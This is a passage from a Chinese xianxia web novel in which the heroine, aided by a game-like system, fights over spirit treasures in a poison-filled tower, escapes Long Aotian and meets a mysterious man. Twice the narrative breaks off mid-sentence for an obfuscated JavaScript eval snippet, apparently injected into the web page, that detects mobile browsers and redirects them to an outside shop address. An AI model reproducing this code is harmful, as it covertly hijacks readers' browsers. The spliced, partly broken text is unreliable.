但他对面的筑基师弟更惨,完全被明月八角塔控制,眼球鼓胀,暴戾狂躁,变成一个只知道保护宝物的杀戮机器。 仙物大多有灵,明月八角塔也不例外。地牢的炼狱看似是门道复杂的迷宫,实际上是个上古大阵,镇压着魔龙分-身。 前两日阵眼遭到破坏后,阵势逐渐颓败,炼狱的生死门尽皆崩毁。因而,原本藏在虚无门处的宝物,此刻如同打开了闸门的水,从地牢奔涌向塔顶,引得无数弟子为之眼红。 仙塔为保护宝物,便在贯通的试炼之道内释放毒雾,控制人对付人。 滕棠不愿杀人,但中毒的弟子却要杀她。热气球庞大,太显眼,附近好些弟子提剑过来,怒目横眉,仿佛一群夺命阎罗。 当机立断,她抛了热气球,在脚下聚拢两团灵力,慢慢往下坠。 三层的人不是最多的,绝大部分弟子都在一层,加上宝物从地牢飞出,因此下方斗得更加凶狠。 滕棠从没见过血肉横飞的画面,在往下落的过程中,脸色惨白惨白的。 一颗血淋淋的头颅从眼前滑过,红色喷溅,在赤芒雾中喋血纷纷,令人触目惊心。她握紧了刀柄,手心和背上全是汗。 由于处在边缘位置,这儿人少,她坠落的过程中并没被攻击。摔到地牢冷冰冰的地上后,情况立刻发生改变。 她恰好落在宝物旁边,身下压着块牌匾,身前一堆散落的玉石棋子。 系统不断提醒她:[发现低级宝物]。 与此同时,被仙塔控制的人转过身,即使缺胳膊少腿,也要爬过来杀她。除此之外,还有半清醒的夺宝者,几个穿不同门派衣服的金丹弟子,互相争执:“我的!谁跟我抢,我杀谁!” 在赤芒雾内,除了完全清除毒素的滕棠,其他人或多或少都受到影响。即使是金丹弟子,不及时排出毒素,待在这里面久了,也会变成仙塔之灵的傀儡。 滕棠把身下的牌匾放进背包,鱼跃而起,在几把灵剑插过来时,眼疾手快地单手捞过一把棋子,翻滚向一旁的空地。 棋子又凉又滑,她手不大,没捞到几颗不说,在翻滚之时,还骨碌掉了两颗。 上古明月阵遭破坏后,地牢和炼狱连成一体。滕棠把棋子装好,穿过数不清的巨型牢笼,好几次差点踩到镂空处,掉入下方黑焰蔓延的迷宫内。 比起上面为宝物疯狂的众弟子,下方密密麻麻的妖兽更为可怕。实力强的修者尚有仁心,要是她不小心掉下去,那些妖魔只会张开血口。 滕棠寻得一处空隙,微微喘了下,点开背包查看。格子里的宝物早已消失不见,她又点开比赛界面,发现东西已经变成积分:6。 看来捡到的宝贝是用不了了,会被系统吞掉。滕棠无奈,只好退出来继续搜寻。 仙塔之顶,原本是颗洁白的明珠,眼下绯红如血,从上而下直射一道红光,照得毒雾袅绕迷蒙。每层试炼之地打通之后,所有弟子都发现了赤芒雾内的宝物,甚少有在外面的人。 宝物不断从毁坏的炼狱中飞出,穿过地牢的镂空,像跃过沟渠的鱼,五光十色地在赤芒雾中游动。 滕棠攀上一个石笼顶,伏身摸着湿青苔,张望周围,以窥探机会,夺取别人没注意到的宝贝。 十米开外,一个洞口恰巧升上来把宝剑,那剑通体晶石打造,形与普通的剑不同,尖端螺旋棱面,似细长的钻头,剑身五线脊锋,削铁如泥。它所经过的地方,都受到程度不一的破坏,连坚固的石笼,都被划出深深的沟壑。 绝对品级不低! 滕棠一眼相中,当即灵力覆身,点足几下跳过去。 奈何这剑太过耀眼,不止她一人瞧见。适时十几个弟子拔剑过来,欲要夺取。剑修对宝剑的觊觎程度,只会比她更强。 “滚!” 滕棠离剑最近,在即将得手之际,横空掷来一把灵剑,直刺她的脑后。 所幸她不仅有浑厚的系统灵力,还有极高的敏锐度,在剑快伤及她脑袋时,俯首侧身一翻,堪堪躲过这一招。 好险!差点就脑袋开花了。 旁边是牢笼之间的走道,翻身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032705|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可避免会落下去。滕棠抓住一根笼柱子,仰头看到那把晶莹剔透的灵剑已被人夺取。 男子穿着福鹿宗的衣服,痴迷地抚摸剑身,满手流血也不在乎。他模样逐渐疯癫,见周围好几个人向他攻来,勃然大怒:“都给我滚开,否则我杀了你们!” 滕棠从石柱上溜下去,不可思议地望着上面杀疯了的一群人。为了一把剑,不仅同门相戈,连命都不要了。 脚步不断后退,她最后看了一眼被人争来夺去的灵剑,惋惜了下,随即跃向另一方搜寻。 地牢有无数相似的牢笼,不够整齐地排布着,行走其间,跟下方炼狱迷宫一般。滕棠绕了半圈,发现自己失了方向。 在她准备攀一个高笼,寻找李偲缨冰棺所在时,一声“滕棠丫头”令她止步。 我不会这么倒霉吧,心里念了一句,回头望去,那红毛金瞳的男子正是龙傲天。 龙傲天搂着秦阿斓,眼神不冷不热地问:“怎么就你一个,掌门和徐扉罗呢?” 滕棠扫眼他们紧紧相拉的手,脑子里霎时浮现那日的活春宫,加之地牢阴寒,她心里顿时硌得慌。 不怪她难受,谁叫龙傲天他们非要在棺材上表演呢,在三个死人上方活动,也不怕半夜鬼敲门。 “掌门受了重伤,徐小姐说外面有熟识的丹师,他们在塔外治伤。”滕棠不动声色地回了他话,观察四周局势。 她发现,男主气运果然非同小可,仅在此处停留了片刻。下方一个崩开的裂口处,忽然强光爆发,从炼狱飞出来一根冒着紫火的长鞭。 附近的人开始躁动,皆把注意力转移过来,眼球通红地盯着长鞭。 观长鞭的器材、形色与波动,比滕棠刚才心动的宝剑还要好,至少是上品,说不定是仙级武器。 “我的!我的!” 一个金丹弟子着魔似地怒吼,率先奔向那长鞭。他一动,其他人便齐齐蜂拥过来,眼神完全被宝物的紫炎占据。 滕棠心有所动,但修为不如在场的强者。她在石笼上静观其变,忽而听见上方秦阿斓撒娇道:“龙哥哥,人家想要那根鞭子。” 龙傲天满口应下,笑着勾起她下巴,拇指抹过秦阿斓的唇,装起腔调:“宝贝儿在这里等着,相公这就给你拿来。” 绯红的血管比赤芒雾还鲜艳,他裹着一身紫雷,扎进那群争抢的弟子中。 被围堵的灵鞭似是知道困境,对几个欲图接近它的弟子霹雳舞动。顿时,惨叫声此起彼伏,火焰爬身,把几个实力弱的烧成焦炭。 “咦,它有灵智!”“天啊,是仙鞭!” 在知晓这鞭子是仙物之时,众人几乎忘却生死,眼神渴望而疯狂。这时,不仅是附近的人在抢,连远处的人都御剑过来争夺。 秦阿斓站不住了,在听到“仙鞭”二字时,便嗖地飞过去和龙傲天联手。她本体为洛赤鹰,善用长鞭,单修火灵根,这紫炎鞭简直像是为她量身打造一般。 滕棠又见这疯狂的一幕,甚至比刚才激烈百倍,才一分钟就死了好几个,登时摇摇头,遗憾地再次退出,准备去捡点别人看不起的。 正当她离开争夺仙鞭的区域,忽而听闻背后混乱声响,还有几道是朝自己的。 身体反应得比脑子还快,辗转在笼角一滚,贴着侧面避开,她反身看去,瞳孔一下子放大。 暗红的牢笼之间,一道紫炎快如闪电,往她脸面疾飞。在她调出所有灵力覆体,以为要被烧灼的瞬间,又嗞呲停了下来,收敛火焰,缩成细链绕在她手腕处。 那边众人每一个都瞪着眼睛,瞪得眼球快凸出来。仅刹那后,所有人开始红眼追杀她,刀剑针钩扇子……密密麻麻的武器朝她攻来。 “怎么会,怎么会认她做主……”秦阿斓蹙眉,表情很是嫉妒,眼神不善地俯视底下逃得像老鼠的女子。 [发现稀有宝物] “破绳子害我!”滕棠大骂一句,左手不停扯动右手腕上的细链,背上扎了几根毒针。要不是有解毒丹效果在,她早就倒地不起了。 自知无福消受这仙绳,她甩了甩手,见器灵打死不解开,非选她当靶子。她一怒,躲避刀光剑雨的同时,在空中点击别人都看不见[拾取]二字,随后手腕上的鞭子就消失了。 完了……冲动了! 滕棠愣了那么一瞬间,摸着空空如也的手腕,回头瞧。两三百人如索命鬼,眼里熊熊杀意,向她冲来。 为首的龙傲天和秦阿斓更甚,二人默契合璧,雷与火鞭相交,直攻滕棠命门:“把紫炎鞭交出来!” 47. 第 47 章 紧张的气氛上升顶点,秦阿斓善用火鞭,龙傲天擅长雷术。二人合作,默契非凡,噼里啪啦的鞭子扬得笔直,尖头如刺般向滕棠攮来。 滕棠晃眼四周,已无退路。 在无数武器攻来之际,她灵机一动,打开[外观],穿戴上之前在奇石活动中获得的——[限定·矿神金装]。该外观附带一个技能[铁壁铜墙],在10秒内免疫所有伤害,冷却时间24小时。 金光爆发的瞬间,地面忽现一个巨大的球体。滕棠在众目睽睽之下,脚下聚集灵力,纵身跃进热气球的篮子中。 方站稳,准备操纵半透明的方向盘时,她猛然伏低身子,躲过龙傲天的一道金爪。 龙傲天金瞳熠熠,行动上没受到漫天武器的影响,搡开身边的刀剑,拽着雷火交加的鞭子朝她甩来。 两人隔着一定距离交战,那鞭子极其灵活,仿佛游走丛林的毒蛇,时不时咬她一口。受到掣肘,滕棠只好御使两把飞刀,勉强保护自身。 噼啪——,热气球的粗绳被抽中几次,所幸只烧断一根,但晃动不止,让她耽搁了逃亡的时间。 “交出仙鞭!”龙傲天大声喝道,头上两个鼓包颤动,小尖角隐隐紫电,这是要引天雷降下。 天雷有多恐怖,滕棠即使没经历过,也知其破坏力惊人。何况这是主角,天道助其威力,金丹期引的天雷极其恐怖,即使有明月八角塔阻隔,其余雷丝毫不逊于元婴者的一击。 她单手操纵四角标的方向盘,十秒后,脱下沉重已无作用的[矿神金装],另一只手调出几乎所有灵力,掼出黑红大刀。 强制召唤卡只剩一张,不到万不得已,她不想用。 长刀显然阻挡不了龙傲天。 在鹿焰宗被福鹿宗摧毁后,龙傲天已结金丹,引的天雷只会比雾蓝秘境时更强。 一道紫电从天而降,中途弯出几道分支,晃得非常快,肉眼难觅。 黑红的刀未触及龙傲天毛发,便被震耳欲聋的紫雷击落,几处破碎,比系统最初送的那把锈刀还要烂。 还好是系统绑定物品,在掉出一定范围后,碎裂的大刀便自动消失,回归滕棠的身边。 滕棠有[24级]的系统实力,说起来并不输龙傲天,只是因经脉细窄等缘故,灵力调出速度偏慢。 她洞悉龙傲天的招式,知晓他习惯近战,一直防备着。果不然,在刀挡下天雷之后,对方踩着诡异的步伐,转瞬就离自己仅一米远了。 龙傲天有那老头在,实在厉害。再战下去,对自己十分不利,前有黄雀,下面还有一堆螳螂。 滕棠凝神屏息,两手操纵热气球的方向,看准时机,导出识海那丝透明的精神力,在龙傲天向她伸手时,轻飘飘钻进龙傲天的头脑之中。 “徒儿小心!” 龙傲天停滞半空,一道年迈的声音自他手上响起。 老头和福鹿宗掌门一战后,力量耗去不少,此时很难现身。 滕棠发现龙傲天无法动用这份依仗后,心中一喜,连忙撑着疲惫,乘热气球飞走。 秦阿斓见状,焦急地向一名眼熟的金丹弟子喊道:“别让她跑了!” “快追,去抢仙鞭!” 手一直按在前进键上,滕棠心里有些忐忑。她不惧任何一名弟子,但架不住人多力量大,那群人一蜂窝杀过来,她扛不住啊! 矿神金装的10秒无敌防御已经失效,要24小时之后才能用,现在不跑,更待何时。 地牢广阔,热气球在中低空飞来飞去,速度十分快。滕棠感谢仙塔的异变,打通了炼狱迷宫、地牢、十层塔的试炼之地,使三者结合,生出广袤无比的空间,高可至塔顶,低可到炼狱,足够热气球飞翔,不再受地图高度的限制。 滕棠朝后看了一眼,见自己已甩下那些抢仙鞭的人,连忙收起显眼的热气球,找人多的地儿落下。 她在地上翻滚,把自己弄得灰头土脸后,迅速打开[外观]换了一套朴素的穿着,随后加入争夺宝物的群体,成为不起眼的路人甲。 不知怎的,刚喘完气,以为自己躲过一劫时,一波未平一波又起,滕棠本是在和人争低级宝物。旁边某个裂缝中,突然冒出仙气飘飘的绸带。 霎时,她这儿又成了斗争激烈的中心。 “怎么回事,这运气能不能换一天来!”她立即背过身,逆着人群的方向,朝外跑。 仙器有灵,它们好似商量过。这条绸带避开周围人,谁都不选,只飞向往外奔的滕棠。在她背后,轻飘飘如幽灵般追着。 “嘶——”滕棠因注意天上龙傲天的动静,一时不防,被仙绸绊倒,摔了个狗吃屎。 身后又出现刚才的场景,几十个弟子红眼杀来,不断大喊着:“仙器!仙器!我的!” 这回她不敢鲁莽[收集]了。抬头,龙傲天和秦阿斓已注意到她,回头看,一群筑基练气弟子杀气腾腾。 “快解开!你找其他人绑去。”她牙痒痒地扯腰间滑绸,心里直呼救命。 可惜仙绸非但不解开,反而缠得更紧了,像是被她身上某物所吸引,对她死缠烂打,恨不得与她融为一体。 彼时,天空和地牢堵了数不清的人,有方才抢仙鞭的,和现在抢仙带的。 丝绸长带在腰间打了死结,滕棠解不开,被勒得紧了,深呼吸一口,觉得有点窒息。 在她张口呼气之时,腰间本来飘然若舞的绸带,忽然变得耷拉垂丧,有气无力地挂在她身上,箍着她的力道也消失了,右侧的死结松懈,松松垮垮搭在她手上。 滕棠根本无暇注意这些变化,她正绝望地准备使用卡片,把万象大佬召来解救自己。 也是在这一瞬间,明月八角塔遽然震荡,比之前更强烈,摇得人稳不住身形。 地牢不断崩塌,轰隆隆巨响,厚重的石头成块砸进下方炼狱迷宫,消失在高墙黑焰内。 地牢层的镂空越来越多,裂出无数的口,让炼狱迷宫中的宝物如海浪般,一波一波涌出来。 虚无门在炼狱迷宫中心,此时完全打开,光芒闪烁,放出无数囚禁多年的宝贝,让地牢上方的修者抢红了眼。 炼狱迷宫、地牢、试炼之地显然已经失控,明月八角塔的仙灵异常愤怒,见无法掌控虚无门,挽回主人的宝贝,便释放出更加强烈的赤芒雾,以期迷住所有人的心神。 抬头望去,贯彻整座宝塔的红光,并非来自地底或者其他方位,而是来自红色通道顶端。 明月八角塔塔顶,巨大的白色明珠变得赤红如血,张开圆口,使剧毒之雾瀑布般倾泻而下,流向十层打通的试炼之地,而后沉降到地牢和炼狱迷宫内。 晶亮的红粉坠落弥漫,犹如漫天星流,看着美,一旦吸入鼻腔,金丹期弟子也维持不了清醒。 很快,从上至下,十层宝塔、地牢和炼狱迷宫一片猩红,大量的人和妖兽免不得变成杀戮机器,开始保护仙塔内的宝物,杀向那些还有清醒意识的修者。 从天空迸落下来的不止赤色毒粉,还有滴答鲜血,上方的人死的死、伤的伤,落下的血液如同阵雨,洒落进地牢和炼狱迷宫内。 明月八角塔的震动越来越厉害,众人皆摇晃着身形,非常不稳。 整个地牢开始沉降,表面崩裂速度加快,眼看就要塌进炼狱迷宫。 此时,除了被塔灵控制的人还在追杀滕棠,其余人都无暇夺宝。 龙傲天屏息排毒,肩上站了只火红的鹰。他疏于照顾,洛赤鹰本粉红的双目,此时呈朱红色。 秦阿斓才筑基的实力,即便天赋异禀,也抵挡不了毒素入体。她本就一直盯着滕棠,这下被塔灵控制,嗖地笔直扑过去,鹰喙啄向滕棠的眼睛。 恰逢滕棠脚下的地面裂开,不得不攀上旁边的石笼,趴伏在上方,找不到路。 “喵~” 九色猫被唤出来,在没有灵智的情况下,22级的金丹实力完全能对付筑基二层的秦阿斓,甚至都不需要滕棠花心思指挥。 洛赤鹰体型可变换大小,这可能是九色猫对付秦阿斓时唯一的难点。 “咦。”滕棠眯起眼睛,发现秦阿斓状态不对,那血目分明是被塔灵控制了心神。 她点开自己的个人状态栏,发现解毒丹的时间正在迅速减少,再张望四周,即使是金丹期弟子,都沦为仙塔的杀戮工具。 滕棠仰面,寻找龙傲天的方位。对方很好认,火红的刺猬头,浑身绯莹的血管。他整个人定在半空,闭着眼睛,身上雷电起伏,排出焦黑的毒烟。 她登时反应过来,这毒怕是厉害得只有金丹巅峰,或者元婴以上的修者才能抗住,怪不得中级解毒丹的解毒时间缩短了那么多。 于是她对灵宠一声令下:“把她叼住!” “喵!”九色猫乖巧地叫了声,毛嘴一张,亮出四颗尖牙,两只爪子扑去,在“唔”声响起时,洛赤鹰便被衔入嘴中。 洛赤鹰有一丝凤凰血脉,天生之火炽灼,此时不断烧着猫嘴,致使九色猫的血条持续在掉。 灵宠将秦阿斓叼过来,滕棠心疼地摸了摸它:“含着别松口。” 趁着众人被仙塔控制,都在阻拦飞出的宝贝时,她悄悄点击腰间[采集],将失去灵智的仙绸给了系统,然后伺机逃走,一边杀出重围,一边捞空中飘浮的各种宝贝。 脑中叮叮提示音响个不停,滕棠索性把声音关了,花灵石修复好武器耐磨度后,和九色猫联合作战,提刀直接砍出一条生路。 她在高处的牢笼上望向附近,周围的弟子大多为炼气期。这些人已经完全丧失意识,出手无招式,只知疯狂地调出灵力,用灵器伤她。 滕棠对付十几个炼气期,还算轻松,得空伸手在一人腰上取下灵兽袋,挂在自己手腕处。 嘭嗡——轰—— 可惜她还没杀出包围圈,地牢天摇地动,震动幅度之大,几乎把人抛起来。与此同时,九色猫血条快掉完,对灵宠造成伤害的除了秦阿斓身上的火焰,还有宝塔内的赤芒雾。 滕棠拍了拍猫头,让它松开嘴,自己灵力裹手,随手捡了根灵绳把鹰翅绑起来,以免对方自由了,追着她啄眼睛。 两手飞速绑了个蝴蝶结,滕棠吹了吹自己烧红的手指,搓搓双掌,把秦阿斓放进灵兽袋中。 她钝圆的眼尾谨慎地吊起,黑眸扫向周围,赶紧疾步逃离这边裂了七八个缝的地。 天上的龙傲天早就稳住心神,睁开眼发现秦阿斓不在肩上,于是四处搜寻。洛赤鹰身上有飘动的红火,且和他结了灵兽契,他能马上感应到,当看见滕棠把阿斓丫头绑走时,立刻愤怒地御剑而去。 “滕棠,你想对她做什么!把她还给我!” 被喊名字的人,抬头瞥了他一眼,手放平在脖子处,做了个挑衅的动作:“敢追杀我,我就把这只鹰宰了炖汤!” 龙傲天听见此话,怒不可遏,他还等着秦阿斓帮忙,让伏火宗和福鹿宗敌对,如果事情不成,就让秦阿斓暗中送他去天央大陆。 火红的头发像刺猬般竖起,两只金瞳瞪得快挤出来,周身蓝紫色的雷噼里啪啦响。他两手握拳,咬牙咬得腮帮子绷紧。 若不是戒指中师父让他冷静,对他道:“至阳仙体已得手,秦阿斓再无用处,你追上去干什么?秦阿斓背后的伏火宗真会帮你?你和秦阿斓太天真了,贸然挑起伏火宗和福鹿宗的仇恨,只会引火上身。” 老头的声音越发虚弱:“这仙塔内朱粉毒素浓郁,正激你杀意,徒儿务必静下心来,安定神魂。” 龙傲天很听他的话,慢慢平息,将方才气愤时吸纳的毒素排出体外,又问:“她怎么没受赤芒粉雾影响?”指的是远处的滕棠。 李老的声音断断续续,听着像重病垂危之人:“她身上必有珍宝,你排解毒素之余,将她捉来逼问,你已是金丹,对付一个炼气期修者,应该不难。” 龙傲天乖巧应了声“是”,浓黑的眉毛高高耸起,一双金眸满是杀意。 底下滕棠才逃了一段,见他追来,于是提高声音问:“你不想秦阿斓活了?” 龙傲天清除赤芒毒之后,已经平静下来,瞳孔中除了杀气,便是冷漠。 他嗤笑一声,五指弯曲成爪状:“是否还记得那日差点被我拍死?那日我对你宽仁,饶你一命,你非但不感恩,还处处与我作对,今日你必死无疑!” 空中浮现道道金色的龙爪,比滕棠上次见更加凝实。 高估了秦阿斓对龙傲天的重要性,滕棠咒骂一句,她刚才费心费力把红鹰捆进灵兽袋,为的就是能威胁龙傲天,哪想,自己竟着了和凌云一样的道。 凌云想拿她威胁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032706|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙傲天,她想拿秦阿斓威胁龙傲天,都没让龙傲天恸心一回。此人无情无义,根本不贪恋红尘,只图利益。 滕棠掂了掂手里的大刀,莞尔一笑:“士别三日,理当刮目相看才对,你要是觉得我还是那么好拍,尽管动手试试。” 在龙傲天师父出不了手的前提下,男主虽是天道宠儿,金丹一层,单灵根,但她有系统傍身,24级相当于金丹四层,又是五灵根。 真打起来,谁胜谁负还说不定。 金色的龙爪带着骇人的威压,如同大山压来。滕棠望着逼近的金爪,不再有上次的生死危机,像上次那样趴在地上动弹不得。 她看着此情此景,心里的恨意一点点生起。没有谁是圣人,能宽容一切。那日她被金爪拍得支零破碎,就吊着一口气,还被扔到受戒台遭寒棘鞭笞打。 一鞭又一鞭,锉开血肉,寒冷的冰冻住伤口。她一直铭记那时的痛,那种痛,要是意志力再差点,她就奔赴黄泉了。 当初说要让龙傲天品尝她受到的痛楚,把她经历过的全部来一遍。遗憾的是,他们现下实力差距并不大。 今日做不到,以后也要还回去,龙傲天想再次掌死她,却是不可能的事。 滕棠恨意萌生的眼睛,冰冷如冬雪。她淡定自若地双手握刀,五色灵力迸发,站稳脚步,迎风接下道道金爪,每一刀都能把龙爪砍散。 “不可能!” 龙傲天瞳孔紧缩,大吃一惊地停顿在半空。玄眼族之目,不可能看错他人实力,滕棠才炼气五层,如何能接下他一招? 想起师父的话和滕棠身上的种种怪异,他愈发肯定滕棠身上的珍宝不凡,或许是连玄眼与龙目都瞧不出的神物。 登时,贪婪之色在金眸中浮起,同深重的杀意融为一体,使龙傲天的双瞳竖起。 他咧起嘴角,狞笑一声,两手成爪,不留余地招招杀向滕棠的要害。 两人一高一低,巨大的金爪和黑红刀相撞。远远看,好似是龙傲天完全占着上风,辣手摧残娇花。实则只有他自己知道,滕棠并没有败势。 滴血的红色长刀,每次砍破龙爪的力道都是相同的,接连十几招,没有任何破绽与颓靡。 滕棠越是能接下他的龙掌,龙傲天越高兴,嘴角快咧到耳朵。他兴奋地招出戒中斩天神剑,额上小角引天雷,不打算跟滕棠周旋,要一击将人诛杀夺宝。 龙爪加斩天神剑,以及天雷,并不是龙傲天的全部实力。滕棠点开过他名字旁边的三角,那几排天赋神通,多得人眼花缭乱。 她不敢小觑,腰间两把飞刀旋出,黑红长刀掠过龙爪,将其破开。九色猫儿从滕棠脚边跳起,将天雷挡下,惨惨喵呜一声后,嘭地散成白烟。 只剩两把弯如月的飞刀,在空中交叉,钳制斩天神剑。怎奈神剑不仅有灵,且威力势大,裹缚跳动的蓝雷,一下破开飞刀,刺向她的额头。 如果是一般人,早就闭眼等死了。滕棠看起来却很淡定,背包里不仅备着召唤卡,还有一堆疗伤丹药。 她还有心思观察攻来的剑式,经两把飞刀阻拦,剑的气与力削弱大半,如用出套装技能[暗影流光],完全能接下来。 正当她抬手大念台词之际,明月八角塔倏然再次大变。塔顶红光消散,十层的试炼之地挪移,回归原处,再也看不见天上贯穿的通道。 眨眼间,地牢内窈冥无光,轰隆隆响声加剧,实力稍差的人直接耳膜流血。 脚下的地牢全部崩裂成碎块,掉入底下炼狱迷宫之中。 滕棠反应极快,在龙傲天抬头愣神时,跳着躲开斩天神剑,钻进一个下坠的石笼,消失在茫茫高墙黑焰里。 过了许久,震动终于停歇,一切归于平静。塔顶重新恢复,皎洁的明珠隔着十一层屏障,朦朦胧胧洒下白净光辉。 龙傲天脚踏巨剑,伸手招回斩天神剑,低头看去,发现滕棠跟狡猾的兔子似的,早就逃了。 炼狱迷宫漆黑无比,到处都是黑色火焰,高墙密密麻麻,想找人异常困难。 他左手在身侧握拳,咬牙切齿道:“翻遍整个炼狱,我也要抓到你!”随后,循大致方向御剑下去。 炼狱迷宫中,捱过炙热得能烤熟人的火焰之后,滕棠从破碎的石笼中爬出来,大汗淋漓。 她擦了擦脸,立起身,面对前方三个岔口,不知该走哪条道。两侧万仞高墙,高墙上还有黑色的火焰,绝不可能翻过去。 在坐骑栏中点击热气球,收到熟悉的系统提示:[玩家所处地图高度不够,暂时无法使用] 滕棠无奈地关闭界面,随便选了一条窄黑的道,小心摸索前行。 她走了一会儿,发现附近妖兽繁多,于是不敢乱走,停下来靠着滚烫光滑的石壁,在脑子里打开[大逃亡]比赛界面。 这一看不得了,原本可怜巴巴的几分,在拾取两个仙器之后,猛涨到1084分。 滕棠惊得嘴唇合不拢,刚才缠着她不放的两件东西,每样加500,合上之前的低级东西,以及战斗积分、路程积分,早就能拿一堆灵石了。 这次活动不像上次的雄霸天下,无须等到活动结束,便可以领取相应奖励。 滕棠喜形于色,连忙把已达成的奖励领取出来,一股脑开始狂氪,限时礼包、续VIP月卡……最重要的是买天脉石! 买买买,滕棠疯狂点击,然而盯着直线下降的财富栏,没多久就停下继续买的冲动。天脉石实在是太贵了,她买的数量才一百多颗,财富栏便快亏空。 “唉……”叹气一声,她漫无目的地行走,找到一个安静的地方,在黑暗中简单布了个阵,于无人的角落,快速冲穴。 [经脉]的功能,现在只开放了两脉四经,滕棠优先冲的是任脉。 继唇下[承浆]之后,下巴处的[濂泉]该冲开了,此穴位需要93块天脉石,价值9207块上品灵石,几乎把刚才的奖励花光。 为了早日驻颜,突破至筑基,花再多灵石,滕棠也不肉疼。 她满心欢喜地看着一块块天脉石掉入黑点之中,在穴位变成金色后,只觉下巴一轻,好似头被人托起。 她舒服地深呼吸几下,气息恒留,每一次呼吸都更加顺畅长久。入口的灵气也甘甜纯粹起来,流经两处穴位,存于其中,凝实而厚重。 48. 第 48 章 炼气六层,成了! 乌润的柳眉宽展,滕棠愉悦得嘴角上翘,在黑暗中慢慢睁开双目,启唇呼出浊气。 天脉石果然逆天,这才冲开两个穴位,实力便一日千里。若将经脉尽皆打通,枷锁除去,不知该多强? 拍掉身上的泥,滕棠小心翼翼地跨出阵,抉择半晌,往左边安静的那条道行去,裙下的步伐轻而慢。 炼狱危险重重,如今生死两门尽毁,所有凶兽都潜伏在迷宫内。有过在死门内求生的经历,滕棠行于其中,更加谨慎。 周遭并不是完全黑,得益于地牢崩塌,-明月八角塔顶的明珠能照及此处。只是距离太远,光芒很微弱,比月色稍淡,要定眼看许久,才能勉强辨清路。 走了约莫一盏茶时间,滕棠忽然吸不动空中灵气。所有灵气都往一个方向涌,掠去之时夹杂轻风,在炼狱里吹得十分古怪。 她贴着墙,鼻子翕动,闻到一股淡淡的血腥之味。前方似乎有动静,由于太微弱,听不清楚是什么声音。 迷宫的每条道都很窄,仅够四人并肩而行。两侧石墙高不可攀,摸上去滑溜溜的,上方还有能烤熟人的黑焰。 在这种情况下,如果遇到等级高的妖兽,是件很麻烦的事。 明珠的弱辉星落云散,灰蒙的环境里,滕棠努力睁着眼睛,试图明晰前方有什么。 嗤嗤——,一阵类似腐蚀的声音过后,隐约传来脚步声,由远及近,越来越响亮。 过了片刻,她确定是人后,悄悄退了几步。 不远处的脚步声听着很稳,不急不忙地踩动软泥,倏尔在黑暗里停下。 这人应该很强,滕棠心下猜测。若是吸入了刚才浓烈的赤芒雾,不可能走得这么轻松悠闲。 是谁?除了男主,能抵抗方才浓烈毒雾的,只可能是元婴强者。而练至此修为的人,在明月大陆屈指可数。仙塔关闭这几日,她没见过任何一位元婴修者。 前方脚步声止了后,好一会儿都没有动静,对方似乎也注意到她。 滕棠一步接一步后退,偶然不小心弄出点声响。她身子顿住,思虑着要不要出个声,表示自己是门派弟子不是妖魔,以免对方误伤。 窄道前方的黑暗中,又缓缓响起脚步声。与此同时,一道清脆稚嫩的声音穿过浓墨,在这片狭小的区域回响。 “滕棠。” 陡然被喊到名字,滕棠惊愣,死死握住刀柄,手背用力得发白。这声音很陌生,她一定没听过,是谁?怎会知晓她的名字,莫非是李婪深的魔傀,祥天门的人…… 对方又走了几步,停在离她约莫三米远的位置。空中的灵力浮动得很诡异,好似被冷气冻结,她想吸纳入体,比平时困难几倍。 他们离得很近,由于感受不到杀意,她稍稍放下防备,纳闷地问:“你是?” 对方未答,身形在墨色里逐渐有了轮廓。很高,衣袍宽大,待人又近了些,隐隐能看到垂动的长发,和头顶带点青光的玉簪。 此人既不出声,又无攻击之意,还叫出她的名字,令滕棠十分困惑。再查其灵力波动,实力应该在筑基中期。 “你认识我?” 终是抑制不住好奇心,她往前一步,眯起双目瞧对方的穿着,奈何环境太暗,眼睛快贴到对方的胸腹上,也未看到八门派缂丝。 对方身上的清香有点熟悉,像是携了一身荷露,混着松檀的木味。衣袍是黑色的,上方有一条金色纹路,具体绣的是什么她看不清,但肯定不是祥天门的卷云纹。 “认识。” 太久未说话,岑云岭忘了这具分-身该用什么声音。半闭着嗓子,调一缕气息吐出去,略偏少年音,与他高大的身形极为不符。 滕棠听见他的声音讶异了下,左思右想,实在想不起是谁,便问:“你叫什么名字?” 那人没回她,还在滚动喉结,思考幻身用的是何种声线。 滕棠仰起脖子,对着一团灰暗的轮廓,什么也看不清。脸上飞过几丝头发,痒痒的,她伸手抓了下,发现不是自己的头发,交缠指间,还把这几根意外拉扯到。 她连忙道歉:“不好意思,扯到你头发。”面对此人,莫名地有些拘谨。 滕棠以为他会张口说点什么,等半天,迷宫窄道依旧安静得连呼吸声都能听见。 到底是什么人,炼狱迷宫如此危险,还有心思跟自己打哑谜。 渐渐地,空中凝滞的灵气发生变化,飘动得毫无规律,过一会儿,如潮涌至男子的体内,半点不留给自己。 滕棠背上生冷汗,发觉男子的气息在变强,从筑基三层涨到五层。她果断拉开距离,提刀警惕:“你究竟是何人!” 因担心招来附近凶兽,她不敢取用发光之物,只得左手抚过光滑的石壁,踟蹰逆行。 那人身上依旧没有杀意,灵气来回穿梭,悠闲自得地在这一隅盘旋,掀动缕缕微风。没想起声音的岑云岭忽然再次张口,仍是清脆干净宛如少年:“岑羽。” 